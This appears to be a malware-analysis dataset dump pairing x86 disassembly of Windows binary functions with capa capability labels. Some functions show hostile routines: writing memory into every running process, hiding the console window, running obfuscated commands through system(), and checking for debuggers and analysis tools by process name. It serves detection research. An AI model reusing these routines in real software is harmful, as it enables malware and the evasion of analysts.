joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004040
Capabilities:
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
lea eax, [ebp - 8]
push edi
push eax
call dword [sym.imp.MSVCR100.dll__time64]
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.MSVCR100.dll__localtime64]
push 0x100
mov esi, eax
mov dword [ebp - 0x38], 0x1000abd0
mov dword [ebp - 0x34], 0x1000abd4
mov dword [ebp - 0x30], 0x1000abd8
mov dword [ebp - 0x2c], 0x1000abdc
mov dword [ebp - 0x28], 0x1000abe0
mov dword [ebp - 0x24], str.June
mov dword [ebp - 0x20], str.July
mov dword [ebp - 0x1c], 0x1000abf4
mov dword [ebp - 0x18], 0x1000abf8
mov dword [ebp - 0x14], 0x1000abfc
mov dword [ebp - 0x10], 0x1000ac00
mov dword [ebp - 0xc], 0x1000ac04
call fcn.10007f8d
mov edx, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
sub edx, 0x64
push edx
mov edx, dword [ebp + ecx*4 - 0x38]
mov edi, eax
mov eax, dword [esi + 0xc]
push eax
push edx
push str._s__02d_20_d
push edi
call dword [sym.imp.ntdll.dll_sprintf]
mov eax, dword [ebp + 8]
add esp, 0x20
mov ecx, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10004105
test dl, dl
je 0x10004101
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10004105
add eax, 2
add ecx, 2
test dl, dl
jne 0x100040e5
xor eax, eax
jmp 0x1000410a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10004139
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, str.17_72g___vba8418424:3_r3_
sub edi, 0x52801784
lea esi, [ebp - 0x27]
call fcn.10007cb0
push eax
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edi, 0x23d7529e
lea esi, [ebp - 0x35]
call fcn.10007cf0
push 0x10
push 0x1000ac38
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edi, str.17_72g___vba8418424:3_r3_
sub edi, 0x52801784
lea esi, [ebp - 0x27]
call fcn.10007cb0
push eax
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100049f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0x2d
call fcn.10001670
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cwde
shr eax, 0x10
test eax, eax
je 0x10004a36
cmp byte [0x1000ed30], 0
je 0x10004a28
cmp dword [0x1000ed34], 0
je 0x10004a3d
call esi
cmp dword [0x1000ed34], eax
ja 0x10004a3d
mov byte [0x1000ed30], 1
mov eax, 1
jmp 0x10004a3f
mov byte [0x1000ed30], 0
xor eax, eax
test al, 1
je 0x10004a54
xor ecx, ecx
cmp dword [0x1000d21c], ecx
sete cl
mov dword [0x1000d21c], ecx
cmp dword [0x1000e988], 0
je 0x10004a9c
push 0xa2
call fcn.100015d0
test ax, ax
je 0x10004a9c
lea edx, [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_ScreenToClient]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add edx, 2
mov dword [0x1000d228], ecx
mov dword [0x1000d22c], edx
cmp dword [0x1000d21c], 0
je 0x10004c1c
push 0x26
call fcn.10001670
cwde
shr eax, 0x10
test eax, eax
je 0x10004ae2
cmp byte [0x1000ecf8], 0
je 0x10004ad4
cmp dword [0x1000ecfc], 0
je 0x10004ae9
call esi
cmp dword [0x1000ecfc], eax
ja 0x10004ae9
mov byte [0x1000ecf8], 1
mov eax, 1
jmp 0x10004aeb
mov byte [0x1000ecf8], 0
xor eax, eax
test al, 1
je 0x10004b22
mov ecx, dword [0x1000f8b0]
mov eax, dword [0x1000f8b4]
mov edx, 2
nop
dec eax
jns 0x10004b06
lea eax, [ecx - 1]
lea esi, [eax*8]
sub esi, eax
cmp dword [esi*4 + 0x1000da18], edx
je 0x10004b00
mov dword [0x1000f8b4], eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x28
call fcn.10001680
test al, 1
mov eax, dword [0x1000f8b4]
je 0x10004b63
mov ecx, dword [0x1000f8b0]
mov edx, 2
inc eax
cmp eax, ecx
jne 0x10004b47
xor eax, eax
lea esi, [eax*8]
sub esi, eax
cmp dword [esi*4 + 0x1000da18], edx
je 0x10004b40
mov dword [0x1000f8b4], eax
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [eax*8]
sub ecx, eax
cmp dword [ecx*4 + 0x1000da10], 0
je 0x10004c1c
xor esi, esi
lea eax, [esi + 0x25]
call fcn.10001680
test al, 1
je 0x10004ba4
mov eax, dword [0x1000f8b4]
lea edx, [eax*8]
sub edx, eax
mov eax, dword [edx*4 + 0x1000da10]
cmp dword [eax], esi
jle 0x10004ba4
or esi, 0xffffffff
mov eax, 0x27
call fcn.10001680
mov ecx, dword [0x1000f8b4]
test al, 1
je 0x10004bde
lea eax, [ecx*8]
sub eax, ecx
add eax, eax
mov edx, dword [eax + eax + 0x1000da14]
add eax, eax
mov eax, dword [eax + 0x1000da10]
dec edx
cmp dword [eax], edx
jge 0x10004bde
mov esi, 1
jmp 0x10004be2
test esi, esi
je 0x10004c1c
lea eax, [ecx*8]
sub eax, ecx
add eax, eax
mov ecx, dword [eax + eax + 0x1000da10]
add dword [ecx], esi
add eax, eax
mov eax, dword [eax + 0x1000da18]
cmp eax, 1
jne 0x10004c0d
mov dword [0x1000f8b0], 0
cmp eax, 4
jne 0x10004c1c
mov dword [0x1000f8b0], 0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005210
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [0x1000d218], 1
push esi
mov esi, dword [0x1000f544]
push edi
jne 0x10005261
push 0x1000d8e4
push str.Arial
push 2
push esi
call fcn.100012d0
push 0x1000f860
push str.Hud_Small_Font
push 0
push esi
call fcn.100012d0
push esi
call fcn.100013a0
push esi
call fcn.10001450
mov dword [0x1000d218], 0
push 0x7b
call fcn.100015d0
mov ecx, 0x8000
test cx, ax
je 0x10005289
mov edi, 0x8582966c
lea esi, [ebp - 0x1f]
call fcn.10007d30
push eax
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10006a30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
mov esi, dword [ebp + 8]
mov dword [0x1000f7c0], esi
jne 0x10006a6c
push esi
call fcn.10001240
add esp, 4
call fcn.100011d0
push 0
push 0
push esi
push 0x10006930
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ebp
ret 0xc
Function at 0x10007760
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10008f68
push eax
mov dword fs:[0], esp
sub esp, 0x20
cmp dword [ebx + 0x44], 0
je 0x10007913
cmp byte [ebx + 0x49], 0
je 0x10007913
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
jne 0x100077af
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push esi
push edi
lea esi, [ebp - 0x2c]
call fcn.10007700
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x100077d2
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebx + 0x44]
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x10007813
dec eax
je 0x10007817
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x100078f1
call fcn.10006a80
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10007827
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, edx
je 0x10007855
cmp edi, 0x10
jae 0x10007836
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x100078e6
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x100078ee
test esi, esi
jne 0x100077c6
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x10007908
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x10007908
cmp edi, esi
jae 0x100078cf
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.100079a0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x100077c6
mov ecx, eax
cmp edi, 0x10
jae 0x100078ab
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x100078c6
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x100077c0
test esi, esi
jne 0x100078a1
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x100078de
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x100077c0
lea esi, [ebp - 0x2c]
jmp 0x100077fc
lea esi, [ebp - 0x2c]
call fcn.10006a80
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
mov ecx, dword [ebp - 0xc]
mov al, 1
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x1000846c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000d028]
jne 0x10008476
repz ret
jmp fcn.1000887f
Function at 0x401000
Capabilities:
Enumerate process modules
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00401dd0
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x100000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [0x403388], eax
test eax, eax
je 0x40112c
push 0x100000
push 0xff
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1008]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x40112c
push edi
xor edi, edi
test dword [ebp - 0x1008], 0xfffffffc
jbe 0x40111b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
mov eax, dword [ebp + edi*4 - 0x1004]
test eax, eax
je 0x4010fa
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4010fa
push 4
push 0x1000
push 0x100000
push 0
push esi
call ebx
test eax, eax
je 0x4010fa
nop dword [eax]
nop dword [eax + eax]
push 0
push 0x100000
push dword [0x403388]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 4
push 0x1000
push 0x100000
push 0
push esi
call ebx
test eax, eax
jne 0x4010d0
mov eax, dword [ebp - 0x1008]
inc edi
shr eax, 2
cmp edi, eax
jb 0x401090
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040113c
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040113c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0040113c
mov esp, ebp
pop ebp
ret
Function at 0x1003c500
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
push ebp
push ebx
test eax, eax
je 0x1003ca20
test edx, edx
je 0x1003ca20
call fcn.1003c517
mov eax, 0xffffffff
pop ebx
pop ebp
ret

Function at 0x1003ca60
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
call fcn.1003c500
mov edx, dword [esp + 0xc]
shl ecx, 4
test eax, eax
jne 0x1003cad1
lea eax, [edx + ecx + 0x10]
movups xmm0, xmmword [edx]
movups xmm1, xmmword [eax]
movups xmmword [eax], xmm0
movups xmmword [edx], xmm1
lea edx, [edx + 0x10]
lea eax, [eax - 0x10]
movups xmm0, xmmword [edx]
movups xmm1, xmmword [eax]
aesimc xmm0, xmm0
aesimc xmm1, xmm1
lea edx, [edx + 0x10]
lea eax, [eax - 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmmword [edx - 0x10], xmm1
cmp eax, edx
ja 0x1003ca96
movups xmm0, xmmword [edx]
aesimc xmm0, xmm0
movups xmmword [edx], xmm0
pxor xmm0, xmm0
pxor xmm1, xmm1
xor eax, eax
ret

Function at 0x1003d3e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push esi
push edi
sub esp, 0x10
mov ebp, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
bswap eax
bswap ebx
bswap ecx
bswap edx
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
cmp ebp, 0x80
je 0x1003d464
mov eax, dword [esi + 0x10]
mov ebx, dword [esi + 0x14]
cmp ebp, 0xc0
je 0x1003d43c
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
jmp 0x1003d444
mov ecx, eax
mov edx, ebx
not ecx
not edx
bswap eax
bswap ebx
bswap ecx
bswap edx
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], ebx
mov dword [edi + 0x28], ecx
mov dword [edi + 0x2c], edx
xor eax, dword [edi]
xor ebx, dword [edi + 4]
xor ecx, dword [edi + 8]
xor edx, dword [edi + 0xc]
nop
call fcn.1003d469

Function at 0x1004a410
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101d8290
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10269bac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esi], vtable.CryptoPP::FilterWithBufferedInput.0
mov dword [esi + 4], vtable.CryptoPP::FilterWithBufferedInput.1.0
mov dword [ebp - 4], 0
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x30]
cmp eax, ecx
mov edx, dword [esi + 0x34]
mov edi, edx
cmovb ecx, eax
xor al, al
rep stosb byte es:[edi], al
push edx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov ecx, dword [esi + 0xc]
add esp, 4
test ecx, ecx
je 0x1004a474
mov eax, dword [ecx]
push 1
call dword [eax]
test byte [ebp + 8], 1
je 0x1004a485
push 0x48
push esi
call fcn.101d4bdd
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1004a8b0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101d8331
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10269bac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
push 0
mov dword [ebp - 0x10], 0
call fcn.1008eb10
mov dword [ebp - 4], 0
mov dword [esi], vtable.CryptoPP::BaseN_Decoder.0
mov dword [esi + 4], vtable.CryptoPP::BaseN_Decoder.1.0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x30], 0xffffffff
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
push dword [ebp + 0x10]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.1008f430
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.1008a280
mov edi, eax
push 0x14
mov byte [ebp - 4], 3
call fcn.101d477e
mov ecx, dword [ebp + 8]
mov ebx, eax
add esp, 4
mov dword [ebp + 0x10], ebx
mov dword [ebp + 8], ebx
mov dword [ebx + 4], str.DecodingLookupArray
mov word [ebx + 8], 1
mov dword [ebx + 0xc], 0
mov dword [ebx], vtable.CryptoPP::AlgorithmParametersTemplate_int_const__.0
mov dword [ebx + 0x10], ecx
mov byte [ebp - 4], 4
mov eax, dword [edi + 4]
mov dword [edi + 4], 0
mov ecx, dword [ebx + 0xc]
mov dword [ebp + 0x10], eax
test ecx, ecx
je 0x1004a9aa
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0xc], eax
mov ecx, dword [edi + 4]
mov dword [ebp + 8], 0
test ecx, ecx
je 0x1004a9c1
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [edi + 4], ebx
mov byte [edi + 8], 1
push edi
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.1008a200
mov dword [ebp - 0x10], 1
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x1004a9ed
mov eax, dword [ecx]
push 1
call dword [eax]
lea eax, [ebp + 0xc]
mov byte [ebp - 4], 2
push eax
push str.Log2Base
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x20], vtable.CryptoPP::NameValuePairs.0
call fcn.1004e3c0
push eax
mov ecx, esi
call fcn.1008ddb0
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x1004aa22
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1004aa40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101d8290
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10269bac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 4], 0
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x34]
cmp eax, ecx
mov edx, dword [esi + 0x38]
mov edi, edx
cmovb ecx, eax
xor al, al
rep stosb byte es:[edi], al
push edx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov ecx, dword [esi + 0xc]
add esp, 4
test ecx, ecx
je 0x1004aa97
mov eax, dword [ecx]
push 1
call dword [eax]
test byte [ebp + 8], 1
je 0x1004aaa8
push 0x3c
push esi
call fcn.101d4bdd
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1004c130
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10269bac]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1004c160
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101d4758
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1004c190
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x1004c190
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101d4758
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1004c268
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x1004c1b9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1004c1c5
movsx eax, bl
jmp 0x1004c1fd
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x1004c227
sub eax, 1
je 0x1004c227
sub eax, 2
jne 0x1004c268
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101d4758
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1004c245
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1004c268
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101d4758
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.101d4758
mov esp, ebp
pop ebp
ret 4
Function at 0x1004d680
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10269bac]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1004d73c
cmp byte [esi + 0x3d], 0
je 0x1004d73c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1004d72a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x1004d6f1
sub eax, 1
je 0x1004d6f5
sub eax, 2
jne 0x1004d72a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101d4758
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1004d713
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1004d72a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101d4758
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101d4758
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.101d4758
mov esp, ebp
pop ebp
ret
Function at 0x1004fe70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x10269bac]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push esi
push edi
mov dword [esp + 0x138], str.Fiddler.exe
lea edi, [esp + 0x138]
mov dword [esp + 0x13c], str.Wireshark.exe
mov dword [esp + 0x140], str.Charles.exe
mov dword [esp + 0x144], str.OllyDbg.exe
mov dword [esp + 0x148], str.IDA.exe
mov dword [esp + 0x14c], str.x64dbg.exe
mov dword [esp + 0x150], str.Cheat_Engine.exe
mov dword [esp + 0x154], str.Ghidra.exe
mov dword [esp + 0x158], str.ImmunityDebugger.exe
mov dword [esp + 0x15c], str.Windbg.exe
mov dword [esp + 0x160], str.Radare2.exe
mov dword [esp + 0x164], str.BinaryNinja.exe
mov dword [esp + 0x168], str.Hopper.exe
mov dword [esp + 0x16c], str.dnSpy.exe
mov dword [esp + 0x170], str.ProcMon.exe
mov dword [esp + 0x174], str.Wireshark.exe
mov dword [esp + 0x178], str.Fiddler.exe
mov dword [esp + 0x17c], str.Charles.exe
mov dword [esp + 0x180], str.HTTPDebugger.exe
mov dword [esp + 0x184], str.WireShark.exe
mov dword [esp + 0x188], str.ProcessHacker.exe
mov dword [esp + 0x18c], str.Wireshark.exe
mov dword [esp + 0x190], str.WinDbg.exe
mov dword [esp + 0x194], str.ReClassEx.exe
mov dword [esp + 0x198], str.xAnalyzer.exe
mov ebx, dword [edi]
push 0
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x1004fffc
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32First]
test eax, eax
je 0x1004fff5
lea eax, [esp + 0x34]
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
je 0x10050021
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32Next]
test eax, eax
jne 0x1004ffd2
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
add edi, 4
lea eax, [esp + 0x19c]
cmp edi, eax
jne 0x1004ffa7
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x198]
xor ecx, esp
call fcn.101d4758
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x1a4]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.101d4758
mov esp, ebp
pop ebp
ret